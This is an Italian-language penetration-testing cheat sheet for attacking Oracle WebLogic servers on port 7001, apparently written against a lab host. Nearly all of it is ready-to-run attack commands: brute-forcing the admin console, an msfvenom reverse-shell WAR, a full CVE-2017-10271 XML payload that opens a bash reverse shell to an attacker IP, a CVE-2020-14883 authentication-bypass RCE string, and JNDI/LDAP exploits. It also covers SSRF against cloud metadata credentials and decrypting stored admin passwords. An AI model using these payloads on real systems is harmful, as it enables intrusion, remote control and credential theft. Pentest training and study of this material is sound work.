Porta 7001 WebLogic: T3, Console Admin e RCE

nmap -sV -p 7001,7002,5556 10.10.10.40

# La pagina di errore 404 rivela la versione
curl -s http://10.10.10.40:7001/ -I

# Pagina di login della console
curl -s http://10.10.10.40:7001/console/ -I

# La pagina di login espone la versione esatta
curl -s http://10.10.10.40:7001/console/login/LoginForm.jsp | grep -i "version\|WebLogic"

nmap -p 7001 --script=weblogic-t3-info 10.10.10.40

# Test manuale T3
python3 -c "
import socket
s = socket.socket()
s.connect(('10.10.10.40', 7001))
s.send(b't3 12.2.1\nAS:255\nHL:19\nMS:10000000\n\n')
print(s.recv(1024).decode(errors='ignore'))
s.close()
"

# Path noti di WebLogic
gobuster dir -u http://10.10.10.40:7001 -w /usr/share/wordlists/dirb/common.txt -t 20

# Console admin
curl -s http://10.10.10.40:7001/console/
# UDDI explorer (spesso non protetto)
curl -s http://10.10.10.40:7001/uddiexplorer/
# WLS-WSAT (vulnerabile a CVE-2017-10271)
curl -s http://10.10.10.40:7001/wls-wsat/CoordinatorPortType
# Bea utils
curl -s http://10.10.10.40:7001/_async/AsyncResponseService

# Test manuale
curl -s -X POST http://10.10.10.40:7001/console/j_security_check \
  -d "j_username=weblogic&j_password=welcome1" -v 2>&1 | grep -i "location\|set-cookie"

# Hydra
hydra -l weblogic -P /usr/share/wordlists/rockyou.txt 10.10.10.40 http-post-form \
  "/console/j_security_check:j_username=^USER^&j_password=^PASS^:j_security_check" -s 7001

# Genera un WAR con msfvenom
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.200 LPORT=4444 -f war -o shell.war

# Verifica se il path vulnerabile esiste
curl -s http://10.10.10.40:7001/wls-wsat/CoordinatorPortType

# Exploit: invia XML malevolo
curl -s http://10.10.10.40:7001/wls-wsat/CoordinatorPortType \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/10.10.10.200/4444 0&gt;&amp;1</string></void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>'

# Con Metasploit
use exploit/multi/http/oracle_weblogic_wsat_deserialization_rce
set RHOSTS 10.10.10.40
set LHOST 10.10.10.200
run

# Verifica
curl -s http://10.10.10.40:7001/_async/AsyncResponseService

# Exploit — stesso payload XML della CVE-2017-10271 ma su path diverso
curl -s http://10.10.10.40:7001/_async/AsyncResponseService \
  -H "Content-Type: text/xml" \
  -d '... stesso XML payload ...'

# Bypass autenticazione console — accedi senza password
curl -s "http://10.10.10.40:7001/console/css/%252e%252e%252fconsole.portal" -I

# RCE via handle resource (CVE-2020-14883)
curl -s "http://10.10.10.40:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"cmd\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd}; if(cmd != null){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"  -H "cmd: id"

use exploit/multi/http/weblogic_admin_handle_rce
set RHOSTS 10.10.10.40
set LHOST 10.10.10.200
run

# Tool dedicato
java -jar CVE-2023-21839.jar -ip 10.10.10.40 -port 7001 -ldap ldap://10.10.10.200:1389/exploit

# Avvia JNDI exploit server
java -jar JNDIExploit.jar -i 10.10.10.200

nuclei -u http://10.10.10.40:7001 -t cves/2017/ -t cves/2019/ -t cves/2020/ -t cves/2023/ -tags weblogic

# Testa SSRF via UDDI
curl -s "http://10.10.10.40:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://10.10.10.200:8888/ssrf_test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"

# Scansiona porte interne via SSRF
for port in 22 80 3306 6379 8080 9200; do
    curl -s "http://10.10.10.40:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:$port/&rdoSearch=name&txtSearchname=a&btnSubmit=Search" | grep -c "error" && echo "Port $port: response"
done

# Accedi a servizi interni
curl -s "http://10.10.10.40:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://169.254.169.254/latest/meta-data/iam/security-credentials/&rdoSearch=name&txtSearchname=a&btnSubmit=Search"

# Il file più importante: contiene la password admin criptata
cat /u01/oracle/user_projects/domains/base_domain/security/boot.properties

# Decrypt con tool dedicato
python3 weblogic_decrypt.py /u01/oracle/.../SerializedSystemIni.dat "{AES}abc123def456..."

# Cerca altri file sensibili
find / -name "boot.properties" -o -name "config.xml" -o -name "jps-config.xml" 2>/dev/null

# Nel config.xml
grep -A5 "jdbc-driver-params" /u01/oracle/.../config/config.xml

<jdbc-driver-params>
  <url>jdbc:oracle:thin:@db-prod.corp.internal:1521:ORCL</url>
  <properties><property><name>user</name><value>app_user</value></property></properties>
  <password-encrypted>{AES}encrypted_password_here</password-encrypted>
</jdbc-driver-params>